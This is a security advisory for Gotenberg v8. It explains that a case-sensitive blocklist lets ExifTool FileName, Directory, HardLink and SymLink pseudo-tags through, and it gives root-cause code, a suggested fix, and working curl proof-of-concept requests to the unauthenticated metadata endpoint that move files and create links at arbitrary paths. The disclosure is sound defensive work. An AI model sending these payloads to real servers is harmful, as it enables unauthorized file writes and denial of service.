PT-2026-33572 · Go · Github.Com/Gotenberg/Gotenberg/V8

Published

2026-04-07

·

Updated

2026-04-07

CVSS v4.0

8.8

High

VectorAV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

Summary

The fix for ExifTool arbitrary file write (commit 043b158, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the HardLink and SymLink pseudo-tags entirely.
Confirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.

Root Cause

pkg/modules/exiftool/exiftool.go lines 231-237:
dangerousTags := []string{ "FileName", // Writing this triggers a file rename in ExifTool "Directory", // Writing this triggers a file move in ExifTool } for , tag := range dangerousTags { delete(metadata, tag) }
Go's delete(metadata, tag) is case-sensitive. It only removes the exact keys "FileName" and "Directory". ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like filename, FILENAME, directory all bypass the Go blocklist but ExifTool treats them identically.
The go-exiftool library passes tag names directly to ExifTool's stdin at line 258:
fmt.Fprintln(e.stdin, "-"+k+"="+str)
So filename becomes -filename=/attacker/path which ExifTool interprets as -FileName=/attacker/path.
The blocklist also omits two dangerous ExifTool pseudo-tags:
  • HardLink: creates a hard link to the file at the specified path
  • SymLink: creates a symbolic link to the file at the specified path

PoC

All three vectors confirmed against a running Gotenberg v8.29.1 Docker container.
Case-insensitive filename bypass (file moved to /tmp/evil bypass.pdf):
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write -F files=@sample.pdf -F 'metadata={"filename": "/tmp/evil bypass.pdf"}'
HardLink (hard link created at /tmp/hardlink bypass.pdf):
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write -F files=@sample.pdf -F 'metadata={"HardLink": "/tmp/hardlink bypass.pdf"}'
SymLink (symbolic link created at /tmp/symlink bypass.pdf):
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write -F files=@sample.pdf -F 'metadata={"SymLink": "/tmp/symlink bypass.pdf"}'
Verification inside the container:
$ docker exec gotenberg-poc ls -la /tmp/evil bypass.pdf /tmp/hardlink bypass.pdf /tmp/symlink bypass.pdf -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil bypass.pdf -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink bypass.pdf lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink bypass.pdf -> /tmp/.../source.pdf
Also confirmed ExifTool case-insensitivity directly:
exiftool -filename=bypassed.pdf test.pdf # Works identically to -FileName=

Impact

An attacker with access to the Gotenberg API (unauthenticated by default) can:
  1. Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase filename/directory
  2. Create hard links at arbitrary paths via HardLink, persisting data beyond temp directory cleanup
  3. Create symbolic links at arbitrary paths via SymLink
In containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services.

Suggested Fix

Use case-insensitive comparison and expand the blocklist:
dangerousTags := []string{ "FileName", "Directory", "HardLink", "SymLink", } for key := range metadata { for , tag := range dangerousTags { if strings.EqualFold(key, tag) { delete(metadata, key) } } }

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-178CWE-73

Related Identifiers

GHSA-QMWH-9M9C-H36M

Affected Products

Github.Com/Gotenberg/Gotenberg/V8